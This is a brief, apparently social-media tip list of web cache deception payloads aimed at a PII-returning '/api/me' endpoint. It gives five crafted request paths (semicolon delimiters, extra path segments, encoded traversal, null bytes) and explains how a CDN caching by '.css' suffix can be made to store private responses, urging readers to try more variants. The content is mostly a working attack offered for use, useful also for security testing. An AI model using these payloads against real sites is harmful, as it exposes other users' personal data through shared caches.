Web cache deception tricks 🪄
GET /api/me → returns PII
Run these to trick the CDN into caching a sensitive endpoint:
🟥 GET /api/me;.css
🟥 GET /api/me/foo.css
🟥 GET /static/..%2fapi/me
🟥 GET /api/me%00.css
🟥 GET /profile%2f%2e%2e%2fstatic
Your ideal scenario: the origin ignores the trailing junk (; param, extra path segment, encoded traversal) and returns private data anyway, but the CDN only sees the .css suffix and caches it as static.
NOTE: Also try other delimiters, file extensions, and static directories.